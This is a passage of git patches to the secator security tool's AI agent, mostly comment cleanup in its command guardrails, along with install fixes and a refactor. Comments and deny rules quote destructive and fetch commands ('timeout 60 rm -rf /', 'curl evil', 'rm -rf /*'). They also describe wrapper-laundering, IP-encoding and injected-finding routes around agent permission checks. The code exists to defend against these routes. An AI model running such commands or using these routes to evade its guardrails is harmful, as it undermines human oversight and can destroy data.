hooks, refusing a persistence-less child. ``context`` carries the parent's ``drivers`` (copied via ``_get_result_context``), so an empty/failed rebuild while the parent HAS drivers means the child would run to completion and silently persist nothing (lost findings/docs). In that case - return a denial ``Warning`` (same shape H4/C1 use) so the caller yields it and - skips the spawn. When the parent itself has no drivers (pure local/no-persistence + return a denial ``Warning`` (same shape other denials use) so the caller yields it + and skips the spawn. When the parent itself has no drivers (pure local/no-persistence run) an empty-hooks child is expected and allowed. Returns ``(hooks, denial)``; if ``denial`` is non-None the caller must not spawn. @@ -233,7 +233,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): value=result.shell_command, reason=result.reason, engine=ctx.permission_engine, - # unique id per prompt so its remote poll matches only its own answer (H7) + # unique id per prompt so its remote poll matches only its own answer prompt_uuid=str(uuid.uuid4()), ) if is_remote: @@ -294,7 +294,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): if result.decision == "deny": return f"Action denied after prompt: {result.reason}" - # fail closed: prompts exhausted with the decision still unresolved -> block (H10) + # fail closed: prompts exhausted with the decision still unresolved -> block if result.decision == "ask": return f"Action denied: guardrail check unresolved after {max_rounds} prompts" @@ -359,7 +359,7 @@ def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["Warning"]: - """H4: cap AI-subagent recursion depth + per-turn fan-out. + """Cap AI-subagent recursion depth + per-turn fan-out. Returns a denial ``Warning`` if a cap is hit (caller yields it and skips the spawn); otherwise stamps the child's depth (+1) into ``context`` and bumps the @@ -429,7 +429,7 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # Force subagent flags when spawning an AI task from a parent AI task if runner_type == "task" and name.lower() == "ai": - # H4: bound recursive fan-out before constructing/running the child + # Bound recursive fan-out before constructing/running the child denial = _guard_subagent_fanout(ctx, context) if denial is not None: yield denial @@ -498,7 +498,7 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator # Propagate driver hooks (mongodb/api): a sync sub-runner skips the pickle path # that normally re-registers them, so without this its results never persist. - # M2: don't silently spawn a persistence-less child when the parent has drivers + # Don't silently spawn a persistence-less child when the parent has drivers hooks, denial = _build_child_hooks_or_denial(context) if denial is not None: yield denial @@ -597,7 +597,7 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) - # M2: don't silently run a persistence-less child when the parent has drivers + # Don't silently run a persistence-less child when the parent has drivers # (same guard _run_runner uses for spawned tasks/workflows). hooks, denial = _build_child_hooks_or_denial(context) if denial is not None: @@ -653,7 +653,7 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: # the single shell_output below is the contract. runner.run() - output = _truncate(runner.output or "(no output)", _MAX_SHELL_OUTPUT_CHARS) # M1: cap so it can't blow up history + output = _truncate(runner.output or "(no output)", _MAX_SHELL_OUTPUT_CHARS) # cap so it can't blow up history yield Ai(content=output, ai_type="shell_output", _context=context) except Exception as e: @@ -871,7 +871,7 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: max_workers = ctx.max_workers or 3 - # H4: fresh per-turn subagent fan-out budget for this batch (one LLM turn) + # Fresh per-turn subagent fan-out budget for this batch (one LLM turn) ctx.context["ai_subagent_turn_count"] = 0 # Silence console output for parallel tasks to avoid interleaved printing diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 83d1f6b30..b1edb53ff 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -27,7 +27,7 @@ # Execute-type commands EXECUTE_COMMANDS = frozenset({"python", "python3", "bash", "sh", "node", "ruby", "perl", "gcc", "g++", "make", "go"}) -# M9: download tools that write to a file via an OUTPUT FLAG — the flag's destination +# Download tools that write to a file via an OUTPUT FLAG — the flag's destination # is a WRITE, not a read (else `deny write(/etc/*)` never fires). Focused set; residual # write-vs-read gaps (dd of=, tar -f, cp/install dest, >() ) are tracked separately. OUTPUT_FLAG_COMMANDS = { @@ -36,16 +36,16 @@ } # Exec-wrappers run a different inner command (`timeout 60 rm -rf /`) — peel the -# wrapper and check the INNER command, not the allow-listed wrapper name (C2/M11). +# wrapper and check the INNER command, not the allow-listed wrapper name. EXEC_WRAPPERS = frozenset({ "timeout", "xargs", "env", "nice", "ionice", "nohup", "stdbuf", "setsid", "sudo", "doas", "watch", "time", "chroot", "unbuffer", - # M11: added laundering-vector wrappers + # Laundering-vector wrappers "flock", "runuser", "su", "script", "proxychains", "proxychains4", "firejail", "torsocks", "torify", "unshare", "catchsegv", "chrt", "taskset", }) -# M11: per-wrapper arg grammar so the REAL command is located, not a lockfile/config/user. +# Per-wrapper arg grammar so the REAL command is located, not a lockfile/config/user. # (opts_taking_a_value, positional_args_before_cmd, cmd_string_opts) — cmd_string_opts values # (e.g. `-c 'curl evil'`) are re-parsed and peeled so the payload is checked, not skipped. _EMPTY = frozenset() @@ -61,7 +61,7 @@ def _exec_wrappers() -> frozenset: - """M11: built-in wrappers plus any ops-configured extras. Config EXTENDS the security baseline.""" + """Built-in wrappers plus any ops-configured extras. Config EXTENDS the security baseline.""" try: from secator.config import CONFIG extra = getattr(CONFIG.addons.ai, "exec_wrappers", None) or [] @@ -105,7 +105,7 @@ def parse_rule(rule: str) -> Tuple[str, List[str]]: def _normalize_ip(candidate: str) -> Optional[IPAddress]: - """M8: normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) to an ip_address. + """Normalize encoded IPs (decimal/hex/octal int, dotted-hex/octal, IPv6-mapped) to an ip_address. Returns None if the candidate is not an IP (e.g. a hostname) so callers fall back to literal matching. Hostnames are NOT resolved here (DNS rebinding is a documented residual). @@ -144,7 +144,7 @@ def _normalize_ip(candidate: str) -> Optional[IPAddress]: def _ip_in_pattern(ip: IPAddress, pattern: str) -> Optional[bool]: - """M8: True/False if `pattern` is an IP/CIDR literal, else None (pattern isn't an address rule).""" + """True/False if `pattern` is an IP/CIDR literal, else None (pattern isn't an address rule).""" try: net = ipaddress.ip_network(pattern, strict=False) except ValueError: @@ -161,7 +161,7 @@ def match_rule(value: str, patterns: List[str]) -> bool: - Glob patterns (fnmatch) - {port} variable (matches :\\d+) - Basename matching for path-like values (e.g. '.env' matches '/home/user/.env') - - M8: IP/CIDR patterns are matched by normalized address (encoded IPs are canonicalized first) + - IP/CIDR patterns are matched by normalized address (encoded IPs are canonicalized first) Args: value: The value to check @@ -170,7 +170,7 @@ def match_rule(value: str, patterns: List[str]) -> bool: Returns: True if value matches any pattern """ - # M8: normalize encoded IPs before deny/allow match so alternate encodings can't evade IP rules + # Normalize encoded IPs before deny/allow match so alternate encodings can't evade IP rules norm_ip = _normalize_ip(value) canon = str(norm_ip) if norm_ip is not None else None for pattern in patterns: @@ -434,7 +434,7 @@ def _peel_wrapper(args: List[str]) -> List[str]: if name not in wrappers: return tokens rest = tokens[1:] - # M11: peel proxychains/firejail/flock/runuser/... past their OWN args (value-opts, + # Peel proxychains/firejail/flock/runuser/... past their OWN args (value-opts, # positional lockfile/config, `-c ''`) so the leaf payload is what gets classified. opts_with_val, n_pos, cmd_opts = _WRAPPER_ARG_GRAMMAR.get(name, (_EMPTY, 0, _EMPTY)) i = 0 @@ -572,7 +572,7 @@ def _extract_docker_volumes(args: List[str]): cmd_class = classify_command(cmd_name) base_access = "write" if cmd_class == "write" else "read" - # M9: output-flag destinations are writes (curl -o/wget -O), not reads. + # Output-flag destinations are writes (curl -o/wget -O), not reads. write_flags = OUTPUT_FLAG_COMMANDS.get(cmd_name.rsplit('/', 1)[-1], frozenset()) sub_args = args[1:] @@ -751,7 +751,7 @@ class PermissionResult: shell_command: str = "" # full command when prompting for shell approval -# M7: finding types downstream auto-trusts. tasks/ai.py _auto_approve_workspace_targets() +# Finding types downstream auto-trusts. tasks/ai.py _auto_approve_workspace_targets() # searches _type:"target" findings and auto-approves them as in-scope, so an injected # add_finding of one of these silently widens scope. _PRIVILEGED_FINDING_TYPES = frozenset({"target"}) @@ -843,7 +843,7 @@ def check_action(self, action: Dict) -> PermissionResult: if result.decision in ("deny", "ask"): return result - # Step 2: Check targets. M6: always enforce when targets exist — a missing + # Step 2: Check targets. Always enforce when targets exist — a missing # catch-all must fall to ask (via _check_values "No rule"), never default-allow. targets_to_check = self._extract_targets(action) if targets_to_check: @@ -861,7 +861,7 @@ def check_action(self, action: Dict) -> PermissionResult: if action_type == "shell": command = action.get("command", "") paths_with_access = detect_paths_with_access(command) - if paths_with_access: # M6: always enforce — no read/write rule must ask, not allow + if paths_with_access: # Always enforce — no read/write rule must ask, not allow # Check each path with its correct access type ask_paths = [] for path, access in paths_with_access: @@ -937,12 +937,12 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult most_restrictive = None unmatched = [] for args in subcommands: - # peel exec-wrappers so the INNER command is checked, not the wrapper name (C2) + # peel exec-wrappers so the INNER command is checked, not the wrapper name inner = _peel_wrapper(args) if not inner: continue cmd_name = inner[0] - # multi-word denies (e.g. "rm -rf /*") match the full peeled command; names via _check_value (H6) + # multi-word denies (e.g. "rm -rf /*") match the full peeled command; names via _check_value denied = self._match_shell_command_deny(inner) if denied: return PermissionResult(decision="deny", reason=f"Denied by rule: shell({denied})") @@ -972,7 +972,7 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult name = action.get("name", "") return self._check_value(action_type, name) elif action_type in ("query", "follow_up", "add_finding"): - # M7: don't let injected add_finding mint a trusted target that auto-approve later trusts + # Don't let injected add_finding mint a trusted target that auto-approve later trusts if action_type == "add_finding" and _is_privileged_finding_type(action): ftype = str(action.get("_type", "")).strip().lower() return PermissionResult( @@ -983,7 +983,7 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult return PermissionResult(decision="deny", reason=f"Unknown action type: {action_type}") def _match_shell_command_deny(self, tokens: List[str]) -> str: - """Return a multi-word shell deny pattern (e.g. "rm -rf /*") hit by these tokens, else "" (H6).""" + """Return a multi-word shell deny pattern (e.g. "rm -rf /*") hit by these tokens, else "".""" cmd_str = ' '.join(tokens) for rt, patterns in self.rules["deny"]: if rt != "shell": @@ -1209,7 +1209,7 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) return "deny" idx, _ = result - if idx == 0: # Allow ONLY this invocation — no rule added, next call re-prompts (H9) + if idx == 0: # Allow ONLY this invocation — no rule added, next call re-prompts return "allow" elif idx == 1: # Allow all commands with this name self.add_runtime_allow([f"shell({prompt_cmd})"]) diff --git a/secator/ai/history.py b/secator/ai/history.py index 7c9ba2103..94294b5d0 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -225,7 +225,7 @@ def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: def _trim_budget(self, max_tokens_total: int = 0) -> int: """Effective trim budget, capped to the model's real context window. - M3: a flat max_tokens_total (e.g. 100k) ignores the model window and + A flat max_tokens_total (e.g. 100k) ignores the model window and fails with context_length_exceeded on smaller-window models. Cap it to get_context_window(model) - OUTPUT_TOKEN_RESERVATION (headroom for the response), and use that window-derived budget even when no explicit cap diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 038c9cb2e..5927da0a1 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -105,7 +105,7 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo (via runner hooks) before calling ask_user(), which will poll for the answer. ``prompt_uuid`` (from context) is stamped into ``extra_data`` so the poll - can match THIS exact prompt, not a stale earlier answer (H7). + can match THIS exact prompt, not a stale earlier answer. """ from secator.output_types import Ai extra_data = { @@ -117,7 +117,7 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo extra_data["prompt_uuid"] = prompt_uuid # A new prompt for this session supersedes any older still-pending one # (e.g. a worker that died mid-poll). Expire them BEFORE this doc is - # persisted so only the current prompt stays live (M10). + # persisted so only the current prompt stays live. self._expire_stale_pending(session_id) # The conversation id rides on `_context.session_id` (auto-stamped from the # runner context on persist) — the poll + restore + secator-api all key on @@ -139,8 +139,8 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con if prompt_type == "permission": engine = context.get("engine") if answer in ("allow", "allow_all"): - # M12: allow_all persists a session-scoped allow rule; single allow is - # a true one-shot that adds NO rule (H9) — next match re-prompts. + # allow_all persists a session-scoped allow rule; single allow is + # a true one-shot that adds NO rule — next match re-prompts. if answer == "allow_all" and engine: ptype = context.get("permission_type") value = context.get("value", "") @@ -242,13 +242,13 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): elapsed += self.poll_interval # One final search before giving up: the user may have answered during # the last sleep (or between the last search and now). Without this the - # answer is silently stranded (M10). + # answer is silently stranded. answer = self._resolve_answer(answered_query) if answer is not None: return answer # Timeout: atomically flip ONLY a doc that is STILL pending, so a concurrent # older pending doc isn't disturbed. If the answer landed in the race window - # the doc is already 'answered' and this no-ops -- re-read rather than abandon it (M10). + # the doc is already 'answered' and this no-ops -- re-read rather than abandon it. modified = self.query_engine.update( {**base, "status": "pending"}, {"$set": {"status": "timed_out"}} @@ -277,7 +277,7 @@ def _expire_stale_pending(self, session_id): Called when a NEW prompt starts (before it is persisted), so it only affects prior prompts. Stops stale 'pending' docs from accumulating — a worker that dies mid-poll otherwise leaves the UI 'thinking' forever - and lets crud.answer_ai_prompt's "latest pending" collide (M10). + and lets crud.answer_ai_prompt's "latest pending" collide. FLAG: a DB-layer TTL index on pending Ai docs is the durable follow-up. """ if not self.query_engine: diff --git a/secator/ai/utils.py b/secator/ai/utils.py index b9ce28b4c..6ce27666f 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -608,7 +608,7 @@ def log_success_event(self, kwargs, response_obj, start_time, end_time): def _estimate_usage(model: str, messages: List[Dict], content: str, tool_calls) -> Dict: - """M5: estimate tokens when the provider omits `usage`, so calls are never unmetered. + """Estimate tokens when the provider omits `usage`, so calls are never unmetered. Uses litellm's own token counter for the model in use — prompt tokens from the request messages, completion tokens from the response text (+ any tool-call @@ -680,7 +680,7 @@ def call_llm( # a matching tool_result). Safety net in case the caller bypassed ChatHistory. _repair_orphan_tool_uses(kwargs["messages"]) - # M4: 400s are non-transient (malformed request, context_length_exceeded, ...) — + # 400s are non-transient (malformed request, context_length_exceeded, ...) — # handled separately below and NOT in this transient-retry tuple. retryable = ( litellm.InternalServerError, litellm.RateLimitError, @@ -692,7 +692,7 @@ def call_llm( response = litellm.completion(**kwargs) break except litellm.BadRequestError as e: - # M4: 400s fail fast, except the orphan tool_use case which we repair + # 400s fail fast, except the orphan tool_use case which we repair # and retry (not counted as an attempt — the repair is the real fix). err_str = str(e) if 'tool_use' in err_str and 'tool_result' in err_str: @@ -735,7 +735,7 @@ def call_llm( "cost": cost, } else: - # M5: usage missing/empty (streaming, some models) — estimate so the call + # usage missing/empty (streaming, some models) — estimate so the call # is still metered instead of silently counting 0 tokens. usage = _estimate_usage(model, kwargs["messages"], content, getattr(message, 'tool_calls', None)) console.print(Warning( diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 239936c9c..ac5d5ee35 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -29,7 +29,7 @@ from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status, _decrypt_dict, _build_action_display -# D4: high-precision cues for the deterministic mode fast-path. Only unambiguous +# High-precision cues for the deterministic mode fast-path. Only unambiguous # prompts (cues for exactly one of attack/chat, and no exploit-ish cue) are # resolved here; everything else defers to the LLM classifier. _ATTACK_CUES = ( @@ -44,7 +44,7 @@ def fast_detect_mode(prompt): - """D4: cheap deterministic pre-classifier. Returns 'attack'/'chat' for + """Cheap deterministic pre-classifier. Returns 'attack'/'chat' for unambiguous prompts, else None to defer to the LLM. Exploit-ish prompts return None so the LLM keeps deciding those (no behavior change there).""" text = (prompt or "").strip().lower() @@ -83,7 +83,7 @@ class ai(PythonRunner): opts = { "name": {"type": str, "default": "", "short": "n", "internal_name": "session_name", "help": "Name for the AI session or subagent"}, # noqa: E501 "prompt": {"type": str, "default": "", "short": "p", "help": "Prompt"}, - "mode": {"type": str, "default": "", "help": f"Mode: {', '.join(MODES)}"}, # D2: derive from MODES, don't drift + "mode": {"type": str, "default": "", "help": f"Mode: {', '.join(MODES)}"}, # derive from MODES, don't drift "model": {"type": str, "default": CONFIG.addons.ai.default_model, "help": "LLM model"}, # Never default this to CONFIG.addons.ai.api_key: secator-api serves task opts # (incl. defaults) to the UI, which would leak the key into the runner form. @@ -293,7 +293,7 @@ def yielder(self) -> Generator: # Run loop yield from self._run_loop() - self._mark_turn_completed() # C3: record this turn as done so a redelivery won't replay it + self._mark_turn_completed() # record this turn as done so a redelivery won't replay it # ------------------------------------------------------------------------- # Remote (web) session restore @@ -338,12 +338,12 @@ def _maybe_resume_remote(self): '`mongodb` driver is in the runner context.' ) - # C3: skip replay of an already-completed turn — acks_late can redeliver the + # Skip replay of an already-completed turn — acks_late can redeliver the # same celery_id after a worker crash; without this marker we'd re-run every # tool action and re-bill tokens. turn_uuid = self._turn_uuid() if turn_uuid and self._turn_completed_marker(turn_uuid, query_engine): - self.debug(f'C3 idempotency: turn {turn_uuid} already completed; skipping replay', sub='llm') + self.debug(f'idempotency: turn {turn_uuid} already completed; skipping replay', sub='llm') return True # Look for prior `_type:"ai"` docs for this session @@ -385,7 +385,7 @@ def _maybe_resume_remote(self): yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 yield from self._run_loop() - self._mark_turn_completed() # C3: record this turn as done so a redelivery won't replay it + self._mark_turn_completed() # record this turn as done so a redelivery won't replay it return True def _save_history(self): @@ -399,7 +399,7 @@ def _save_history(self): save_history(self.history, self.reports_folder, debug_fn=self.debug) # ------------------------------------------------------------------------- - # C3: turn-level idempotency (remote/Celery redelivery) + # Turn-level idempotency (remote/Celery redelivery) # ------------------------------------------------------------------------- def _turn_uuid(self): @@ -421,12 +421,12 @@ def _turn_completed_marker(self, turn_uuid, query_engine): "extra_data.turn_uuid": turn_uuid, }, limit=1) except Exception as e: # noqa: BLE001 - a marker query must not crash the worker - self.debug(f'C3 idempotency: marker query failed: {e}', sub='llm') + self.debug(f'idempotency: marker query failed: {e}', sub='llm') return None return docs[0] if docs else None def _mark_turn_completed(self): - """C3: persist a turn-completion marker once the turn is durably done. + """Persist a turn-completion marker once the turn is durably done. Remote channel only. Reuses the workspace `_type:"ai"` docs (no new collection); restore_history_from_db skips this ai_type so it never enters @@ -606,7 +606,7 @@ def _run_loop(self) -> Generator: # Remote follow-up: the pending Ai doc was already stamped + persisted # in _dispatch_and_collect (dedup by _uuid) — nothing to re-yield here. - # H5: remote max-iter after tool work is a terminal turn (no further + # Remote max-iter after tool work is a terminal turn (no further # user input expected) — don't block-poll on prompt_uuid=None with no # answerable pending doc; end cleanly via the loop tail (save + Info). if (isinstance(self.backend, RemoteBackend) @@ -802,7 +802,7 @@ def _detect_mode(self, force=False): if not self.prompt: self.mode = "chat" return - # D4: resolve unambiguous prompts deterministically; skip the intent LLM round-trip. + # Resolve unambiguous prompts deterministically; skip the intent LLM round-trip. fast_mode = fast_detect_mode(self.prompt) if fast_mode: console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{fast_mode}[/] (fast-path)") @@ -815,7 +815,7 @@ def _detect_mode(self, force=False): result = call_llm(messages, self.intent_model, temperature=0.3, api_base=self.api_base, api_key=self.api_key) # noqa: E501 self._account_usage(result.get("usage")) mode = result["content"].strip().lower() - if mode in MODES: # D2: honor any real mode (incl. exploit), don't discard it + if mode in MODES: # honor any real mode (incl. exploit), don't discard it console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{mode}[/]") self.mode = mode else: @@ -1231,7 +1231,7 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): Returns list of items to yield, or None to exit. """ - # H5: plain-chat remote turns reach here with no pre-persisted pending doc, + # Plain-chat remote turns reach here with no pre-persisted pending doc, # so persist one now with a real prompt_uuid (never poll on prompt_uuid=None). if isinstance(self.backend, RemoteBackend) and not prompt_uuid: prompt_uuid = str(uuid.uuid4()) From 4fc6ae509dac0869cb32572c825df989e0fdafb2 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 9 Jul 2026 02:36:40 +0200 Subject: [PATCH 124/129] fix(test): skip tool install/version checks for generic tasks (no static cmd) The 'command' generic bash-runner task is a Command subclass with no external tool (cmd=''), so 'secator test tasks' wrongly failed it on 'is installed' / 'install command defined'. Guard those checks on the task having a static cmd. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/cli.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/secator/cli.py b/secator/cli.py index 1554d4111..eb8481abf 100644 --- a/secator/cli.py +++ b/secator/cli.py @@ -3035,8 +3035,8 @@ def task(name, verbose, check, system_exit): else: return False - # Run install - if hasattr(task, 'get_version_info'): + # Run install (skip for generic tasks with no static cmd — no external tool to install/version) + if hasattr(task, 'get_version_info') and getattr(task, 'cmd', None): cmd = f'secator install tools {task_name}' ret_code = Command.execute(cmd, name='install', quiet=not verbose, cwd=ROOT_FOLDER) version_info = task.get_version_info() From 9533c2bb4234ce216082385f4af192f04234db2b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 9 Jul 2026 10:07:15 +0200 Subject: [PATCH 125/129] fix(install): treat generic tasks (empty cmd) as install-skipped, not unsupported 'secator install tools --fail-fast' (integration CI) aborted on the 'command' generic task: it has a cmd attribute (='') so has_cmd was True, skipping the no-tool guard and returning INSTALL_NOT_SUPPORTED. Make has_cmd mean 'has a real cmd' so cmd-less tasks hit the INSTALL_SKIPPED_OK path. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/installer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/secator/installer.py b/secator/installer.py index 099fb401f..ff54460b9 100644 --- a/secator/installer.py +++ b/secator/installer.py @@ -65,7 +65,7 @@ def install(cls, tool_cls): name = tool_cls.__name__ console.print(Info(message=f'[bold yellow]:wrench: Installing {name} ...[/]')) status = InstallerStatus.UNKNOWN - has_cmd = hasattr(tool_cls, 'cmd') + has_cmd = bool(getattr(tool_cls, 'cmd', None)) # a generic task (cmd='') has no tool to install # For non-Command tasks (e.g. PythonRunner), only proceed if they have an install method if not has_cmd and not getattr(tool_cls, 'install_cmd', None) and not getattr(tool_cls, 'pypi_dependencies', None): From 1561bfdcae3aad5706ac2aef57326c98be8261c4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 13 Jul 2026 17:15:22 +0200 Subject: [PATCH 126/129] refactor(ai): dedupe tasks/ai.py (DRY sweep) _resolve_prompt/_emit_user_prompt (2 dup blocks), _truncate_label, _system_prompt_for (route the repeated get_system_prompt calls), hoist max_iterations increment, _reject_malformed_tool_call (fold 2 builders), extract _yield_tool_results tail. Skipped the _run_loop/_process_tool_calls generator splits (entangled loop state, risk > readability). No behavior change; 715 test_ai_* pass, flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/tasks/ai.py | 166 ++++++++++++++++++++++++++------------------ 1 file changed, 98 insertions(+), 68 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index ac5d5ee35..3fc3c2f15 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -61,6 +61,11 @@ def fast_detect_mode(prompt): return None +def _truncate_label(text, fallback): + """Truncate ``text`` to 80 chars with an ellipsis; empty text falls back to ``fallback``.""" + return (text[:80] + '...') if text and len(text) > 80 else (text or fallback) + + def _reject_tool_call(runner, tool_name, tool_call_id, error_msg, reason): """Shared body for rejecting a tool call: encrypt the error, record it as the tool result in history, and return the ``tool_result`` Ai event to yield.""" @@ -73,6 +78,56 @@ def _reject_tool_call(runner, tool_name, tool_call_id, error_msg, reason): _context=dict(runner.context)) +def _reject_malformed_tool_call(runner, name, tc_id, error, extra_fields, reason): + """Build the rejected-tool-call error JSON (schema-derived hint fields) and + reject it via ``_reject_tool_call``. Shared by the two ``_process_tool_calls`` + rejection paths (malformed JSON args, unknown tool/missing args), which only + differ in the extra schema-derived fields included in the error payload.""" + error_msg = json.dumps({"error": error, **extra_fields}, separators=(',', ':')) + return _reject_tool_call(runner, name, tc_id, error_msg, reason) + + +def _yield_tool_results(runner, collected): + """Group ``collected`` results by tool_call_id, add each group's tool result to + history, and yield a summary ``Ai(ai_type="tool_result")`` per group. Split out + of ``_dispatch_and_collect``; kept a plain function (not a method, like + ``_reject_tool_call`` above) so mocked-``self`` unit tests for that method still + hit this real code instead of an auto-mocked attribute. Order-preserving dict, + NOT itertools.groupby: batch results interleave by id and groupby only groups + consecutive keys, which would emit multiple tool_result messages per tool_use + (rejected by providers). + """ + budget = runner.history.get_action_budget(runner.model) + fallback_path = Path(runner.reports_folder) / "report.json" if runner.reports_folder else None + grouped = {} + for r in collected: + grouped.setdefault(r["_context"]['tool_call_id'], []).append(r) + for tc_id, group_results in grouped.items(): + tc_name = group_results[0]["_context"]['tool_call_name'] + has_errors = any(r["_type"] == "error" for r in group_results) + serialized = [ + {k: v for k, v in r.items() if k not in INTERNAL_FIELDS} + for r in group_results + ] + tool_result_str = format_tool_result( + tc_name, "error" if has_errors else "success", + len(serialized), serialized) + tool_result_str = truncate_to_tokens( + tool_result_str, budget, runner.model, fallback_path=fallback_path) + tool_result_str = maybe_encrypt(tool_result_str, runner.encryptor) + runner.history.add_tool_result(tc_name, tc_id, tool_result_str) + _tool_msg = {"role": "tool", "tool_call_id": tc_id, "name": tc_name, "content": tool_result_str} + _runner_id = next((r.get("_context", {}).get("task_id") + or r.get("_context", {}).get("workflow_id") + or r.get("_context", {}).get("scan_id") + for r in group_results if isinstance(r, dict)), "") + yield Ai(content=f"[{tc_name}] {len(serialized)} result(s)", + ai_type="tool_result", + message=cap_message(_tool_msg), + extra_data={"runner_id": _runner_id}, + _context=dict(runner.context)) + + @task() class ai(PythonRunner): """AI-powered penetration testing assistant (attack or chat mode).""" @@ -254,9 +309,7 @@ def yielder(self) -> Generator: return # Get user prompt - self.prompt = self.run_opts.get("prompt", "") - if self.prompt and Path(self.prompt).is_file(): - self.prompt = Path(self.prompt).read_text().strip() + self.prompt = self._resolve_prompt() if not self.prompt and not self.is_subagent: from secator.definitions import IN_WORKER if not IN_WORKER: @@ -271,9 +324,8 @@ def yielder(self) -> Generator: return # Setup session metadata - prompt_label = (self.prompt[:80] + '...') if self.prompt and len(self.prompt) > 80 else (self.prompt or self.mode) if not self.session_name: - self.session_name = prompt_label + self.session_name = _truncate_label(self.prompt, self.mode) if self.encryptor: self.session_name = self.encryptor.decrypt(self.session_name) self.context["session_name"] = self.session_name @@ -284,11 +336,9 @@ def yielder(self) -> Generator: self._detect_mode() # Build system prompt + start history - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.system_prompt = self._system_prompt_for(self.mode) self.history.set_system(maybe_encrypt(self.system_prompt, self.encryptor)) - self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) - yield Ai(content=self.prompt, ai_type="prompt", - message={"role": "user", "content": maybe_encrypt(self.prompt, self.encryptor)}) + yield self._emit_user_prompt(self.prompt) yield Info(message=f"Using model: {self.model}, mode: {self.mode}") # Run loop @@ -299,14 +349,31 @@ def yielder(self) -> Generator: # Remote (web) session restore # ------------------------------------------------------------------------- + def _system_prompt_for(self, mode): + """Compute the system prompt for ``mode`` using this runner's workspace + backend.""" + return get_system_prompt(mode, workspace_path=str(self.reports_folder), backend=self.backend) + def _rebuild_prompt_and_tools(self): """Rebuild system_prompt + tool_schemas for the current mode and store them. Returns the ``(system_prompt, tool_schemas)`` pair for callers that want it.""" - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.system_prompt = self._system_prompt_for(self.mode) self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) return self.system_prompt, self.tool_schemas + def _resolve_prompt(self): + """Resolve the ``prompt`` run option, reading it from a file if it names one.""" + prompt = self.run_opts.get("prompt", "") + if prompt and Path(prompt).is_file(): + prompt = Path(prompt).read_text().strip() + return prompt + + def _emit_user_prompt(self, prompt): + """Add ``prompt`` to history (encrypted once) and return the user-prompt Ai event to yield.""" + encrypted = maybe_encrypt(prompt, self.encryptor) + self.history.add_user(encrypted) + return Ai(content=prompt, ai_type="prompt", message={"role": "user", "content": encrypted}) + def _get_query_engine(self): """Build a workspace-scoped QueryEngine from the runner context. @@ -358,18 +425,16 @@ def _maybe_resume_remote(self): return False # Resolve the user's new prompt (the message that triggered this respawn) - self.prompt = self.run_opts.get("prompt", "") - if self.prompt and Path(self.prompt).is_file(): - self.prompt = Path(self.prompt).read_text().strip() + self.prompt = self._resolve_prompt() # Session metadata if not self.session_name: - self.session_name = (self.prompt[:80] + '...') if self.prompt and len(self.prompt) > 80 else self.prompt + self.session_name = _truncate_label(self.prompt, self.prompt) self.context["session_name"] = self.session_name # Detect mode (defaults to chat) and build the system prompt + tools self._detect_mode() - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.system_prompt = self._system_prompt_for(self.mode) # Rebuild history from the channel docs (text-only; see restore_history_from_db) self.history = restore_history_from_db( @@ -379,9 +444,7 @@ def _maybe_resume_remote(self): # Append the new user message that respawned the conversation if self.prompt: - self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) - yield Ai(content=self.prompt, ai_type="prompt", - 